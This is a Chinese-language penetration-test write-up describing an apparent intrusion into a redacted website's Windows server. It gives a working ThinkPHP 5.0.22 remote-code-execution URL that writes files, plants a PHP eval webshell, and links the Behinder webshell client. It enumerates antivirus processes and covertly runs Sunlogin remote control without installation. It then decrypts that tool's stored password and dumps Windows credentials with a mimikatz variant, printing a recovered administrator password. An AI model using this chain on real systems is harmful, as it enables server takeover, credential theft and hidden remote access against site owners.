0x00 前言

任何渗透测试技术支持服务,都应该先拿到授权书后方可进行。

0x01 信息收集

http://www.xxxx.cn/login

1
2
3
4
5
6
7
FrontFrame: Twitter Bootstrap,jQuery Sparklines,OWL Carousel,Font Awesome,JQuery:1.8.3,HTML5
Widget: Access-Control
Language: PHP/7.1.13,PHP:7.1.13 (PHP框架)
WebService: Nginx
Other: Author:Mosaddek,Embed JSON
xxx.xxx.xxx.xxx [香港 ThinkDream数据中心]
域名注册商 阿里巴巴云计算(北京)有限公司

没识别到相关的CMS组件信息,我们进行手动操作,随便输入点什么让服务器报错回显有关信息。
比如:

1
2
3
4
5
6
http://www.xxx.cn/apip.php
回显:
熟悉的面孔,thinkphp
ThinkPHP V5.0.22 { 十年磨一剑-为API开发设计的高性能框架 } (ThinkPHP 5.0.22)
THINK_PATH D:\phpStudy\PHPTutorial\WWW\xxx\thinkphp\ (Windows 服务器,phpStudy)
Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9 (Apache)

1

0x02 漏洞测试

知道了对方用的CMS和框架后,可以尝试用漏洞测试工具对其进行测试。
ThinkPHP漏洞取证小助手一顿撸!
image-20210816150638045
哦吼,返回404????这是怎么回事呢? 让我看看。
image-20210530145844566
返回404说明主站的路径默认不在根目录,通过测试发现在public目录。
image-20210530150052092
我去访问WebShell的时候,返回了奇怪的错误提示模块不存在public,我想这应该是我的Shell1.php写到了后端根目录,即phpStudy\www\xxx\shell1.php,而网站管理员设置了只能访问前端目录即nginx\html\dist-xx\index.html,所以访问时候就会报错显示404 无法访问。
image-20210816150917217
(实验了下,确实前后端目录分离,在前端img目录下写入404.txt可正常访问到。)
image-20210531180824901
image-20210531180846255
解决方案:

1
2
3
#管理员配置了我们只能访问public目录,那我们就用绝对路径的方式找到public目录,并且写入一句话。
#由ThinkPHP报错得知,public绝对路径如下
PUBLIC_PATH D:\phpStudy\PHPTutorial\WWW\xx\public\

image-20210530152452017
image-20210530152606303
image-20210530152647511
写入phpinfo

1
http://www.xxx.com/public/index.php?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>

写入一句话

1
<?php eval(xxxxxxxxx); ?>

0x03 一句话Shell

image-20210530152920940

0x04 冰蝎 内网渗透

冰蝎下载地址:https://github.com/rebeyond/Behinder/releases/download/Behinder_v3.0_Beta_11/Behinder_v3.0_Beta_11.t00ls.zip
冰蝎 一句话Shell

1
2
3
4
<?php
@error_reporting(0);
......
?>

运行冰蝎

1
java -jar Behinder.jar

image-20210530154310972
服务器信息收集:

1
2
#用来查看开了哪些进程,一般判断有哪些防火墙、杀毒软件
tasklist /SVC

将结果复制到这个网站中进行过滤https://maikefee.com/av_list

0x05 向日葵远控组合拳

工具目录:

  • sun.exe 向日葵
  • ggg.exe 绕过向日葵安装
  • new_mimi.exe 读取服务器密码
  • de_sun.exe 向日葵密码解密工具 (这个可以不用上传到远程服务器)

image-20210530165312741

将文件上传到 C:/xxx/xxx/目录
然后分别运行如下命令:

1
2
C:/xxx/xxx/> ggg.exe  #让向日葵以绿色模式运行,无须安装
C:/xxx/xxx/> sun.exe #运行向日葵

重要!!!

向注册表中写入向日葵安装信息成功,运行向日葵后无须安装。

image-20210530165806676

运行sun.exe 向日葵后,会在C:\ProgramData目录多出一个Oray目录(向日葵配置信息)。

下载向日葵配置文件C:/ProgramData/Oray/SunloginClient/config.ini
image-20210530170038380
解析向日葵配置文件,提取验证码和密码

验证码:xxxxx

密码(加密):gxfhaBnFFlQ=
image-20210530170228194
在本机运行de_sun.exe,解密向日葵密码
image-20210530170417329
向日葵

伙伴识别码:xxxxx

验证码:Tlm3S0

image-20210530170552978
成功连接上了远程服务器的向日葵,但是需要账号密码解锁!
上传组合拳里面的 new_mimi.exe 到远程服务器,运行如下命令

1
C:/xxx/xxx/ >new_mimi.exe

image-20210530170737867
提取出账号密码

远程服务器账号密码信息

Username : Administrator
Domain :
Password : 12345678911

0x06 利用成功

image-20210530170923013
image-20210530171012224
:)可以看到管理员在偷偷看注册的用户信息,我确认了服务器管理员不在操作,于是进行了进一步取证,得到了管理员的真实ip地址,上面还有一个百度网盘,里面有管理员的账号信息,接下来就是将信息交给警察叔叔处理吧。